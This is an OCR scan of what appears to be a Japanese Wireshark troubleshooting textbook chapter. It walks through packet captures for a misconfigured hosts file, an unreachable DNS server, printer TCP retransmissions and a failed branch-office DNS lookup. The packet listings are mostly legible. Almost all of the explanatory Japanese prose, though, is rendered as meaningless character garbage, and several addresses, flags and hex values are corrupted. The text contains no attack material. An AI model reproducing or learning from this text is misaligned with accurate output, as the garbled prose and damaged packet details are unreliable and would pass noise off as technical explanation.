WELIYo LOLARLEIIEEIEIRL), SEOL—F -3/ V¥ =3y MIRERTE5DTY
D B DR —LR—ITHh 5 http://www.google.com/ |2 TE T8 A, Google D3 t4 5 F
AL T 72 A LX) ET 5L, [Internet Explorer i3 Web X— V% FRTETHA] L) R—
JICNFAVLZPENTLEVRE T, LD T TR ETVEDIEIDOL—F =725 TT,

HBIFEDTYF ) F kR WSOPDHLE AL vF L, TTIANIMTF— 7o/ L LTHET AV —
T 1HBORTHER SN A v VT — 27 TF,

8.3.2.1 =TI~ DEA
BT Z RO B 7280, 7 v T Mo T —F —I1Zhttp://www.google.com/Z 757 ALTH S/
BRCEREND T 749 0 &2Fx TF v LE L7, ZOMEDT 7 4 )VHnowebaccess2.pcap TY o

8.3.2.2 I\srv MERIR

T4 7O0OFxTFrid, BB821DLHIZ, ARPY VT AME VARV ATHiEN 9, MAC
7 KL Z00:25:b3:bf:91:ee. IP7 FL 2172.16.0.8 DL —HF—Da ¥ a—%iL, 1FHD/7 v b T,
172.16.0.102DIP 7 K L ARG T 5N/ MACT FL A% BOF 572012, Ay 8N =2 F A v
FEOFTRTOIYE2—FIZARP7U—FF Y Ay bERELE T, CORET, ZOIPT
R L ZDOBENIAW T,

No. Time Source Destination Protocol  Info
1 0.000000 00:25:b3:bf:91:ece Ff:ffFfFfFf o FF ARP who has 172.16.0.102? Tell 172.16.0.8
2 0.000334 00:21:70:c0:56:T0 00:25:b3:bf:91:ee ARP 172.16.0.102 +is at 00:21:70:c0:56:f0

X8-21 Fv h7—7 EDRIDEEBEANDARPY I IXMEL AKX

2% HD/r» MCLIPT KL A172.16.0.102%800:21:70:c0:56:f0 TH 5 L b0 F L7ze HBlIED
TFUFFRE SMETF 74NV = 2 A DIPTRL AL LT DNS/T vy MIZOT7 FL A%
flio THHEDNS Y —NICHEZE SN DD LR L TAET L L) L2IADRB-2%HLE, KD
2%y MEIDNSY 7 T A FTlE %<, 172.16.0.8 525 172.16.0.102~DTCP %7 v N T¥, SYN7
Iy PENTVWEEW) Tk, ZHIE2ODEERM TH R TCPaAxr v a vy & $5720
DONYRY 247D, MADNNTr v MELWH LB ETO.

S
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. 3 0.000349 172.16.0.8 172.16.0.102 TCP 1074 > 80 [SYN] Seq=4061304577 Win=8192 Len=0 MS5=1460 W5=2 I&I&J @é@

Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:F0)
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.102 (172.16.0.102)

Source port: 1074 (1074)

Destination port: 80 (80) @

[stream index: 0]

sequence number: 4061304577

Header length: 32 bytes
Flags: 0x02 (SYN) 1
Checksum: 0x58b5 [validation disabled]
options: (12 bytes)

0010 00 34 05 5b 40 00 80 06 00 00 ac 10 00 08 ac 10

—
oL | [ B e 586050 &

0020 00 66 04 32 00 50 f2 12 97 01 00 00 00 00 80 [H Ol o0 Soooo0e

0030 20 00 58 b5 00 00 02 04 05 b4 01 03 03 02 01 01 D EE95C SR DG D00 |%|

0040 04 02

. J

X8-22 WERDHEZEH S FIDAEBOMEEZZNEZESNA-TCP SYN/Yy b

FHIREEELT, @WHTTP IS 74 v 7 12fibi b 80 % F— FTO, 172.16.0.1020 124§
BTCPa A7 ¥ avOMINMTENTVET, DI R ¥ a vy ORITIE, 172.16.0.102H RST &
ACK75 7%ty bLATCP Yy b (WFHD v M) @& VARV AL LTEE LR THRT
LTLFEVFET (K8-23),

. 40.000510 172.16.0.102 172.16.0.8 TCP 80 > 1074 [RST, ACK] Seq=0 Ack=4061304578 Win=0 Len=0 @I&J

Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)

Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee)
Internet Protocol, Src: 172.16.0.102 (172.16.0.102), Dst: 172.16.0.8 (172.16.0.8)

=

Source port: 80 (80)

Destination port: 1074 (1074)

[stream index: 0]

sequence number: 0O

Acknowledgement number: 4061304578

Header Tlength: 20 bytes

window size: 0
checksum: Oxc9aa [validation disabled]
[sEqQ/Ack analysis]

0000 00 25 b3 bf 91 ee 00 21 70 cO 56 fO 08 00 45 00 ..., ! p.v...E.
0010 00 28 00 00 40 00 40 06 e2 41 ac 10 00 66 ac 10 .(..e.@. .A...T..
0020 00 08 00 50 04 32 00 00 00 00 f2 12 97 02 50 ...P.2.. ......P0A

0030 00 00 c9 aa 00 00 00 OO 00 00 OO OO  ........ ...

&

[8-23 TCP SYNADIEEELTESNATCP RST/Vr v b+

63T, RST75 7%ty bL7%7 v MITCPI A2 v a v O TIIHWEND &) BLHIA
HofzltxBVWHLILL). LML HEEDYF YA TR, 172.16.0803 ¥ ¥ a— % P,
172.16.0.102 DEEFE L 80F K — FCTCPI A7 v a v &IV LIS L Lk T A, T TIE. 80
FR=PTYV 7T AP FBEZT 2V —EADNRE SN T L o72728, TCP RST/ 87 v bA3 %S
NTIAZ7varPRTLTLESTVET, B8-24D & )12, MEDPEEIHERTTLFETIC, 11—
F—DA L2 —FH5SYNAESI, RSTH LY FENZLAKY ANRSTL S W) IULEIE S
S22V EENTVET, TOH LI, 2—F—DTIFTIFIL[R=IVPERTETHA] L)

S
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WNED Ay —IPFERENET,

‘No‘ Time Source Destination Protocol  Info
E] D 000349 172 16 D 8 172 16. D 102 TCP 1074 > SD [SYN] 5Eq=~4061304577 w1n=8192 LEn:D MSS—ldGD Ws=2

1074 > 80 [SYN]
Win=0 Len=0

[8-24 TCP SYNERST/Yr v MIEEI3EES N TS

EBLALHELTVLHORY b7 — 7 BEROFEEMNRD &, 1FHE2FHD/N7 v FOARP
VI IANEVARY AZMED D 5 RS ZP P LA >TEFE L7z ARPY Z T AR T 7 4+ )V
=1t 24 OMACT FLATIE AL, BIOARHLEERITESNTWIZDTY, $72, ARPY /T
ANEVARY 2% BT UL, www.google.com IZRHIEFHT SN/ZIP T KL X% BDlF 572012,
DNSH—NIZREEENADNS 7 YA ONL L Bo720TTA, RONYFEHA, DNSZ7TYD
D bW EIZ2OoH ) 9,

o IRV YarvEMIMLL)E LEODNSH EIPT FLADTT TIZDNS F v v ¥ 2 \ZHEH S
hTwb,

® DNSHIHTHaArrvar&iivLE) L LA, DNSHZEIPT KL ZADMIGH T %,
hosts 7 7 4 WIZIREE LT 5,

AT VMDAV EL=F R ELICHRTALE, T3 2—% Dhosts 7 7 14 WIZ www.google.
comD LY M)AHY, TNHHNERIPT KL A172.16.0.102 I BT T SNTWE Lize ZTDHES
LY N)BL—F =D T TN EFERILTWDTT,

—EIIS, T2 —FIZDNSH L IP T FL ARSI 215 E LChosts 7 7 4 V%
FA L. RIS WEDE DRI ED 7 7 A VEFER L £, SROYF U4 TR, 2—HF—nar
Y2 — % 2%hosts 7 7 4 V& HfEEE L C www.google.com DL~ bV % FLDlF, wwwgoogle comiId—
ANDIy bT =2 LIZhHBEHWLE Lico ZDDARPY 7 LA MU OERICE>TL AR
YA TZITID, 172.16.0.102 £ 80T AR — P TTCP2 A7 v a v #EV L EHD & L72DTY, L2l
ORI Web Y —NE LTHEEIN TR0, IR ¥ a VBSHELTE R o72biF T,

hosts 7 7 A VDT Y MY ZHIERT A2 LT, 2—F—DayEa—FIZIE L @REZRBL,
www.google.com I[ZHHETEX 5 X912 F L7z,

W N

Windows ¥ X7 L Chosts 7 7 A )L 72529 B (Cd. C:¥Windows¥System32¥drivers¥
etc¥hosts Z8HR U T EE L, LinuxDIFEF /etc/hosts 2SR L T IEEL,

COXI BRI TIVIIFEREICIGEZDE T, ThiE, V7= 7AMED O, 2—F—2EEDH
H5a—FPDATNWebH A M) FA LY b B0ICHCTELFETHHN T, LEH

S
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Hhosts 77 ANELEL, FVFA INYF U ITAT 7 EALL ) LT 50N, LIEEHRZ A
T TNV T L7 FENTWE L2 E)TLED |

8.3.2.3 EREAIFECTE

FS 74y 2O ERIT TV E, ST T a VOB, ZOMER O O ) %A
TWEET, FEDOYFY AT, Y LHIFRHE IATIE R, 7947 2 FOREI ADTZDIT,
DNSZ Y »%EFEENFHATL

NIy PLRVTIDI T TNEHFHRD & NHZIPT RFLA L, @EOH L 75 DNSH Y75
BN EDRT LR ET, TOBHIIE ST, 2947 Y IBMEOFHNTH S LW L7-0TT,

8.3.3 A VHF—xvy FMIEHFETERL : HEBDFRERE

D200 F YA SRIOYF)FTH, T—F =PI Ea—Fh5( 5 —Fy b
MCTELVETNEFTo>TVET, TOL—F—IMEDF K Z & DD WebH A b, http://www.
google.com ™~ AR FE L7z EHICHANRTASZ L. ZOMENIHMMERITHEL T L%
L Z L7 #dD Google KA U ~\T 72 ATEHRWVDTY,

HD2o0TFVALFAL LI, TDEXYINT =T VLK DPDAAL vF L, £ V¥ —F v Ik
DR 1IBDN—F THEEEN TV ET,

8.3.3.1 y—JI~DEA

NGTWNY2—=F 4 7D, F 9 http://www.google.com/ % 757 ALTCh T T4 v 7%
AR LET. FITNMEERY NI = BRICKRATYS, DFVASFDI Y2 —F L EBEEZITT
BY, KRBV 2 7 REOWEE L H L7205, BFOIA Y Ea—FROEEF v 7F v &
TEHYEFEA. TOLI) HRIRPIEINL A, §y THRRROBIRE L) E T, =Y AP L
DEHPWEND72 T, HLIIMBTL2LEN LN TT, ¥y FI2L2F v 7F v D7 74 Vi
nowebaccess3.pcap (220D 5,

8.3.3.2 IN\¥v MERiR

CONT Y MEYTFvIE ARPINSG 749 7 TlEA%{DNSFS 74 v 7 TIHED T T D8
7y MEIAHET7 FL AT, 2FB O v MZZZEDT FLANLDL ARV AL 5T DD T,
ARPILILZ$ TIIATONTEY, F7 4NV M=+ 2 DMACEIPT7 FL A L O IEAHFIESTIZ
172.16.0.8 DEEFED ARP F v v ¥ 2 \TEIEL TV B ERETE E T,

RI8-251Z /R L7275, 3 ¥ ¥a—417216.0.80 57 KL A4 221 NRKMIE SN/ 7 v b
Fr7Fr@T. THUIDNS/XT v N TTO, 37 v h\ONEZ RS L, www.google.comDA L
I—FD7TYTHLI VLI ETO,

S
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.
[ 10.000000 172.16.0.8 4.2.2.1 DNS Standard query A www.google.com [FTRE=S| P

Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Ethernet II, src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33)
Internet Protocol, src: 172.16.0.8 (172.16.0.8), Dst: 4.2.2.1 (4.2.2.1)0
User Datagram Protocol, Src Port: 64417 (64417), Dst Port: 53 (53)
£ Domain Name system (query) @
Response In: 2
Transaction ID: 0x6138
Flags: 0x0100 (standard query)
Questions: 1
Answer RRs: 0O
Authority RRs: 0
Additional RRs: O
= Queri
E www.google.com: type A, class IN
Name: www.google.com
Type: A (Host address)
Class: IN (0Ox0001)

0010 00 3c 17 89 00 00 80 11 71 Od ac 10 00 08 04 02

0020 02 01 fb al 00 35
0030 00 00 00 00 00 00 [1 EI
0040 03 63 6f 6d 00

& J

(8-25 www.google.comDAL I—RNDODNSZ I

4221607 ZI)ANDL ARV AHS, E8-26D2FH D/ v TY, [Packet Details] X4 ~
EMRTHE, OV I IZAMINTHLAR Y ZAEBH L72d— 2% =305, 72125 LTHEE
DOREZRELTHEZEDRDLPNETO, 22T TIITRTHRIFT, MELMRTbRTVET,

[ 20.010440 422.1 172.16.0.8 DNS Standard query response CNAME www.google.com A 74.125.95.105 A 74.125.95.106 A 74.15505(E:] E=E)

Frame 2: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits)
Ethernet II, Src: 00:26:0b:31:07:33 (00:26:0b:31:07:33), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee)
Internet Protocol, Src: 4.2.2.1 (4.2.2.1), Dst: 172.16.0.8 (172.16.0.8)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 64417 (64417)
£ Domain Name System (response)
Request In: 1
[Time: 0.010440000 seconds]
Transaction ID: 0x6138
Flags: 0x8180 (standard query response, No error)
Questions: 1
Answer RRs: 7
Authority RRs: O
Additional RRs: 0
= Queries
www.google.com: type A, class IN
2 Answers 1
www.google.com: type CNAME, class IN, cname www.1.google.com
.google.com: type A, class IN, addr 74.125.95.105
1.google.com: type A, class IN, addr 74.125.95.106
1.google.com: type A, class IN, addr 74.125.95.147
1.google.com: type A, class IN, addr 74.125.95.99
T
]

]

.google.com: type A, class IN, addr 74.125.95.103
.google.com: type A, class IN, addr 74.125.95.104

EEEEEBBE

Oc 00 £ o
t'-«a' ‘:2 o .

7d 5

7d 5f © B e it o il =
7d s5f

X8-26 HEHDOALI—KRHEFN/ZDNSL IR
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2—HF—DIALE2— 7D WebH —NDIPT7 KL A &R L72DT, WebH— 3k 05 04T
BRI E L7 R8-27D XA, 27 atR13172.16.0.87°5 74.125.95.105~3% 572 3%
Ho 87 v b TCPS7 v FCIHREN T 7@, %5807 FL A, 2FFHD/8 v b, DNS 7 ) 1%t
FTHLARVATRMIEEN TS, ALI—FHEO) BEEHOT FL AL LosTWE T, TCP/3r v b
WIESYN 79 7h3Ey hENTHENO, VE—TIDOWebP— L 80FR— M TOBEEZHITLTE
36,

-
. 30.014421 172.16.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 Win=8192 Len=0 M55=1460 W5=2 @I&J EIEM

Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33)
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 74.125.85.105 (74.125.95.1{)5)0

=

Source port: 1251 (1251)
pestination port: 80 (80)@
[stream index: 1]
sequence number: 91743089
Header Tlength: 32 bytes
» ) S o |
checksum: 0Ox0afc [validation disabled]
options: (12 bytes)

H 91 ee 08 00 45 00
00 34 17 8a 40 3b ac 10 00 08 4a 7d

5f 69 04 e3 00 3 71 00 00 00 OO0 80 02
20 00 0a fc 00 b4 01 03 03 02 01 01

[8-27 80FKR—hrTHIAXT L 3 RREFAITTSSYN/V v b

ZHUITCP Y FY =4 7 7ut A%DT, %L LTTCP SYN/ACK /X7 v PR ENBI1ETT
T A LT B ERNDSYN ST v b, BETLPLILENEEONTVE Lz, ZOMBIZE5ITH
IRZICDRAELTEY), S THESH SN, 77 7 FIEWeb A4 b3 RONS L EHE LT
WE L7 (X8-28).

No. Time Source Destination Protocol  Info
3 0.014421 172.16.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win=8192 Len=0 M55=1460 ws=2
4 0.019417 172.16.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win=8192 Len=0 M55=1460 ws=2
51.016531 172.16.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win=8192 Len=0 M55=1460 ws=2

[8-28 LAFRLANHEW=HTCP SYN/Yry MY SEREESN TS

4221 D DNSH —NADDNS 7 Y BEPH LTV DI Ehb, Ay T =27 DT Ea—
FAHERICHAR T E B DIED D> TWE T DNSH—NDRLDOL ARV AIZHEETNLIPT RLRIZDH
MEIE %, Y2 —FEZDIEDT FLADDEOADERZHMIT LTV E T, #EHl T
WEHH—=HVDIA =5 HEBLALHELTVDE L) T,

FEEIZ, VE—TOH—N"Pax 73 D) 7T AMIBE LRV, DF ) TCP RST/$47 v +A3
BESNLZNIETYT, TNV OPOIDE 2 b E T, WebH—"DFE I A, WebH—
NOTANINVAY v 7 DREARE, HHVFZ)VE—=MDORY  NT =7 LDy b7 4005 (774
TIr—=)V) BETT, U=ANTHNTy b TANFIFITDNTORWERET S L, F2 515k
KIFVE—TFORY FT—=2MICH DL 0H 2Lk, BFERFTYT, 22 TdWebH—1281EL

S
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CHERBLTBELT, HHOMAD o2 L EEATLA. Google fl TR FI SR, 8
[CRALIE AN S

8.3.3.3 RAIFECTE
SROTF)FDOITTNIE, TESMTEMICTELRVLDTLZ, 287y MENTORKEE, +57
NEa—H N0ty bT—27 FEOEETY, V—FTYH, LHEiERY — 2 238 4ET 27 DNS H —
INTHLRWEHIH L 72720 Td, MEOREIL, Db T L5y VT —274HIH F L7z,
NS TNVDIEKHDBEG 2BV EDbrb L, A LVAREGR S NG 2T Tl BFREMIC
XHMEEbhzL &R bEbNET, AGHbORN LR nE FRTHISPRRY T —, V7
My 27 SALEMEL 7 AL TEELD, Z0EBY, Ny MIEEZODXFHA,

8.3.4 FAERELIVVY
ITAVTFAZEBPERI N T TVICTT T o T ET, BEHMOLZ—F =% EFETH->Tn
LRIT) VO BENEHRELTETVWET, REOHR Y a 72 %5 L, B_—YHR L7
U TEIELTLEI EDILETY, FIANRELMEDEZTAE LA, HEL dhdroizk
ITTo NVTTAIDAY v 7id. TN AY bT =27 ORETIE RV E) 02 ER LTI L
SoTVwET,

8.3.41 T—TIL~DBA

ST VI DT TNEDT, TELRDT) Y HIZEVEZ ATy MRy T Ty Y — L&
RETHIENOMHOTET, T ¥ ARKICIE Wireshark % 4 Y A M=V TEFHADN, £y T —
I CHHENTUEDIEHDOLIAAL v F DT, R= 1 IF5=) Iz ET, 7V v 90
MINTVER—IEENTWVLR— NI F— L, Wireshark»f Y A b= SNh7zara—%
BIDR=INDOLEEFT, REVET LSO, 7YV FICKEOHRIY a 7% %->Th 5w, )
FEMLET. FNEF v 7F ¥ L7277 1 Vhlinconsistent_printer.pcap T3 o

8.3.4.2 IN\Uv MERIR

X829 5B LI, HMlYa 72 %k-Twhbar¥a—% (172.16.08) & 7)) v %
(172.16.0.253) IO TCP/NY K¥ 24 2% X TF ¥ 77 A VOBEHTH bR TwET, NV Fyx
A 71K &, 1460354 FOTCP 37 v b3 7Y Y #I2% 6N @, 7— ¥ i, [Packet List] <A
> ® [Infol /2 O—FhuiAh [Packet Details] X4 ¥ D TCP v 1RO —F FCTHERETEX F
R
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[ 20.001436 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136600788 Ack=2844365960 Win=16425 Len=1460 @I&J E‘m

Frame 4: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits)
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:23:7d:77:bd:ba (00:23:7d:77:bd:ba)
Internet Protocol, src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.253 (172.16.0.253)
= Transmission control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 136600788, Ack: 2844365960, Len: 1460
source port: 3527 (3527)
Destination port: 9100 (9100)
[stream index: 0]
Sequence number: 136600788
[Next sequence number: 136602248]
Acknowledgement number: 2844365960
Header length: 20 bytes
Flags: 0x10 (ACK)
window size: 16425
Checksum: 0x5ef4 [validation disabled]
= [sEQ/AcK analysis]
[Number of bytes in flight: 1460]
= Data (1460 bytes) 1
Data: 1B252D31323334355840504A4C20534554205245543D4F4E. . .
[Length: 1460]

29 5e f4 00 00 i3 34 35

>

0040 4a 4c 20 53 45 54 20 45 54 3d 4f 4e 0a 40 =1
0050 4a 4c 20 53 45 54 20 53 54 52 49 4e 47 43 4f)

'0060 54 3d 55 50 4a DESET=UT F8.@PIL

0070 22 4a

4a 4f 42 [SET JOBA TTR="39

8-29 TCPTFVU all&mEdhiz7—4

X8-30 D L )12, 4TFH D/ v MZHE &, 1460354 "DF—F 2 & AT/ v b3L ) 0 ED%
S, T Y IAACKZBEHNLTWET,

No. Time Source Destination Protocol  Info

3 0.000035 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136600788 Ack=2844365960 wWin=16425 Len=0

4 0.001436 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [Ack] Seq=136600788 Ack=2844365960 win=16425 Len=1460
5 0.000009 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136602248 Ack=2844365960 win=16425 Len=1460

96 0.003847 172.16.0.253 172.16.0.8 TCP 9100 > 3527 [PsSH, ACK] 5eq=2844365960 Ack=136603708 Win=7888 Len=106

7 0.000068 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] 5eq=136603708 Ack=2844366066 Win=16398 Len=1460
8 0.000010 172.16.0.8 172.16.0.252 TCP 3527 > 9100 [Ack] Seq=136605168 Ack=2844366066 win=16398 Len=1460
9 0.000007 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [Ack] Seq=136606628 Ack=2844366066 win=16398 Len=1460
10 0.000007 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136608088 Ack=2844366066 win=16398 Len=1460
11 0.027984 172.16.0.253 172.16.0.8 TCP 9100 > 3527 [ACK] 5eq=2844366066 Ack=136609548 win=6144 Len=0
12 0.000057 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136609548 Ack=2844366066 Win=16398 Len=1460
13 0.000014 172.16.0.8 172.16.0.252 TCP 3527 > 9100 [Ack] Seq=136611008 Ack=2844366066 win=16398 Len=1460
14 0.000009 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [Ack] Seq=136612468 Ack=2844366066 win=16398 Len=1460
15 0.000009 172.16.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] 5eq=136613928 Ack=2844366066 Win=16398 Len=1460
16 0.064656 172.16.0.253 172.16.0.8 e 9100 > 3527 [ACK] 5eq=2844366066 Ack=136615388 Win=4400 Len=0

[8-30 EELT—2EXETCPOACK

FXTFXTTANORBED2OO/7 v VET, =IOV D& 3, 121FHD /7 v
METCPF§3% (TCP Retransmission) 7347 v T, B8-31 2R T LI, TNA T T ILVOERFIDI
XS

TCPT%E/3 7 v M, & 5 WERGV N OEEENETCP /Sy v M k5 L7202, £ OGRS
ACKZBH L2 WHEAICELNT T, MO LEWHISET S L. EE0sEORRsT— 5 %
ZRLTOWRVWEHBIL, X7y FEHELET, ZORBITEFL TR S-S5 TR RSN
7,
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- 121 5502585 172.16.0.8 172.16.0.253 TCP [TCP Retransmission] 3527 > 9100 [ACK] Seq=136719048 Ack=2844366066 Win=16398 Len=1092 &@E‘Eﬂ

@ Frame 121: 1146 bytes on wire (9168 bits), 1146 bytes captured (9168 bits)
@ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:23:7d:77:bd:ba (00:23:7d:77:bd:ba)
® Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.253 (172.16.0.253)
= Transmission Control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 136719048, Ack: 2844366066, Len: 1092
Source port: 3527 (3527)
pestination port: 9100 (9100)
[stream index: 0]
sequence number: 136719048
[Next sequence number: 136720140]
Acknowledgement number: 2844366066
Header length: 20 bytes
M @ Flags: 0x10 (ACK)
window size: 16398
Checksum: 0x5d84 [validation disabled]
= [SEQ/ACK analysis] 1
[Number of bytes in flight: 1092]
= [Tcp Analysis Flags]
= [This frame is a (suspected) retransmission]
= [expert Info (Note/Sequence): Retransmission (suspected)]
[Message: Retransmission (suspected)]
[severity level: Note]
[Group: Sequence]
[The RTO for this segment was: 5.502585000 seconds] e
[RTO based on delta from frame: 120] e
@ Data (1092 bytes)

0000 00 23 7d 77 bd ba 00 25 b3 bf 91 ee 08 00 45 00 AW % L E.

0010 04 6¢c 17 90 40 00 80 06 00 00 ac 10 00 08 ac 10 51 B Eoa e85 00 =1
0020 00 fd 0d c7 23 8c 08 26 2a c8 a9 89 94 f2 50 10 cesetl & Rl P.
0030 40 Oe 5d 84 00 00 32 32 32 32 32 32 32 32 32 32 @.]...22 22222222
0040 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 22222222 22222222 .
AASA 35 33 33 35 33 33 35 33 33 33 33 33 33 33 33 35 33333333 33333333

$8-31 TCPE%/Nry MEMTTIDIL

SO FIFTIE, T VIR EEEINLT=F IS THACKERIE LR o7272012, 75
AT DAL Ea—F BT Y FIZTCPH#%E/ T v bE ko TWwE$, TCP~Ny ¥ ® [SEQ/ACK
analysis] ## BB L. RSN b 1EHE RiuL (K8-31) @. TN e F%72 L HIM Szho
FMAHPY . 121FH O3 v MI120FH O/ v FOFRTTO, T2 %/ 87 v hOF%
742577 (RTO) 134558 TTO,

2Ny MEOBIEE RN 5 & & RS U TR RER 2L ET LM TEET, 22T
WO MR EEINTZOL, EDL LW TRLHREINTrE RO T, A=2—05
[View] — [Time Display Format] #;#JR L. [Second Since Previous Captured Packet] % &R L
9o TAHEITLAD/N Y b (120 HD/3 7 b) BEE SN TH L6558 %IZ121IFH O/ v b
BHEEINTVEIENE-E Vb2 T (K8-32) @,

MNo. Time “ Source Destination Protocel  Info
121 5.502585 172.16.0.8 172.16.0.253 TP [TCP Retransmission] 3527 > 9100 [ACK] 5eq=136719048 Ack=2844366066 Win=16398 Len=1092
122 5.600089 172.16.0.8 172.16.0.253 TP [TCP Retransmission] 3527 > 9100 [ACK] 5eq=136719048 Ack=2844366066 Win=16398 Len=1002

[8-32 /N7y bOREREREIIBTEZEN NS TV 2 —FT 4 P FITHILD

ZORD>Nry FH120FH O v PO TY, 20287 v FORTO W 11.10T, Uiz
3Dy FORTO TH A 5580 & N T F 3, [Packet List] X4 »® [Timel 77 2% A
I, BOFEERS.6HRICZOFEITHLNTVLDONLRDET, THEFY 7F X774 VOIKE
DOy MNTHY, F27) U FBIRIZFERFICAHRZ IR LT ET,

SEOTF)FTE HGDORY VT =2 NOZ 54T e T 25 LahkbhwoT, Eb 512
BB S 502 W 2720 THAET . LIESLOMT—y0inhzBlgssL, HAHEHET, 7
VYIWTITAT YV IMNDVARY A% fTo T W LIZATDEE T, TCPHENL b 5L LI I,

S
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74TV MNIT =R RBLELY) ERFEOGNZLTCHETE, TV VDB VAR A%RITD%RL
HoTLESTWLEDTY,, EQAVEL—=—FNT) &V aTw®ksr) b IOREIIEETLDT,
T HIERNYEH S ERE L THAET,

SO L, 7)Y YORAMIZEF 25 LE L7z RKEDOHRI Y a 70386 TH K —
VLRI LV OiZ, AE)DOHDHEITIIT 7L ATE2ETLIERBIL TV ARnHAD L) TY,
FERIE AEVOMEICE > T, TV Y IDPH LT =8 2 Z T WA ENTET, 7947V MZ
LBHNY a 7ORGEEHR ST LEF > TWADTLZ,

8.3.43 EREAIEECTE

ZOT)IIDETTNEAY FT =2 DE T TN TEDHY) THAN, Wireshark ZffioTRDOIF A
CENTET L SRETOYFYFEIEE Y, SHETCP RS 74 v 7 DA ENRELTVE T,
FEVROE, 200K TEESPR SN TLES>BIC, TCPRRAERTHEZRLTNEZ L
MNENT L TT,

SIENEEE D RAEIE L7 & ZI2, TCP O A RE D BT T, ME OB % i I {03
LTENTEF LIz VT VT ERGBAED TR T, IVEMR N TV ERIET2HETH, 29
L7-BERBICHED 2 213 KBV E9,

8.3.5 Mirgs3x%ztt

SE DT F) BT 201F, Rt e, B SN2 oL FHFORETT, 2o
EDITA Y7 I5DIZEAEDRARIHNH Y, Windows = "DF A4 Y ZHwTnES, Likicizt
HYFYREAALyaryba—=303H), SONAAL yaryia—J%, ZFODNS EGEGEY 7 =X b &
ML TVWET, SORAL yaryha—S5idth ¥ &) DNSH—NTHY, Ktkicdh 5 17> DNS
T NH5Y Y = AL I = FOEHEZITNDL LI ko TVET,

FTTUA XY M= APZHAHA YT TOEAERTH>TVBEEI, Ay T =27 Lo Y bF %y
MWeb7 7V r—2a rF— NP O T 7 A TERVWIEDHPHLE L. 260 H—
NEARIZHY, WANBEHTT 72 AT 5E) I hoTwET, O EEBEDR T 7 LA TE RV
OTETH, MELZDOIIINSENIY —NDAT, £ V7 =%y FeTHDIEHLDOY V= RIZIET 7 &
ATELDTT,

XI8-331x 4 DY F ) F BT E R LTVET,
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§

&

7247k DT TV r—23avF—IN
172.16.16.101 WAN 172.16.16.200

ZHDIV—42 KD IV—52 ‘

DAL —TDNSH—/N\ FHDIRZ—DNSH—/N\
172.16.16.251 172.16.16.250

X<tt Ft

[8-33 1ZEMA DR v N7 — I DIBR RS

8.3.5.1 y—JIL~DEBA
MR AK & AR OMEICH LD T, b TVOBIHEIED 5720120 ODDORHTTF—F %
PHELET, X2 FA4 7 MICHEIH ARG EZE 2T, INHDIHbD1HEER— I T —
VY 755200 FLL). EMENELZS, Zhzfio CGRINTT -4 2 IUET 2T %
PDFEFTo 7547V MPSIELZRADOF ¥ 7F v 7 7 4 Vi stranded_clientside.pcap T3 o

8.3.5.2 I\y v MEER stranded_branchdns.pcap

X8-34D X9z, 7TFLA172.16.16.101D 2 v ¥ a—F DL —H =5, KftoT7 7V r—v 3~
B —3172.16.16 200 TRLE SN TVWET TV r—2a v IZT7 70 ALEH E L2 E00, KAD
FrTF T 7 ANPHEESTVET, TOF v 7 F v IE 2Dy FLAEERTWERA, Ik
DIy MZASTWADIE, appserver@NDAL I — K@% KD T 172.16.16.251123% 5172 DNS
V7 IANOD L) TT o THUIARIICH 5 172.16.16.200 DH—/SDODNSH T,

X 8-350:5b025 X, D/ MIXFT 5 L AR Y AHSH — 3[4 (server failure) @ & 72>
TwEY, 2L DNSZZYHRML72ZEZRLTWE T 087y MIT T — (=)
D7z, ZIVIFLTBELTWEEAO,

INT, WBEOFT TUVHADNSIIHEBLTWE I L2bh)E L, X ODNSZ =) 1
172.16.16.251 D DNSH —/NTHILENL DT, TNHPRDORAL Y eV ET,
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-
[ 10.000000 172.16.16.101 172.16.16.251 DNS Standard query A appserver [E=SESE =)

Frame 1: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
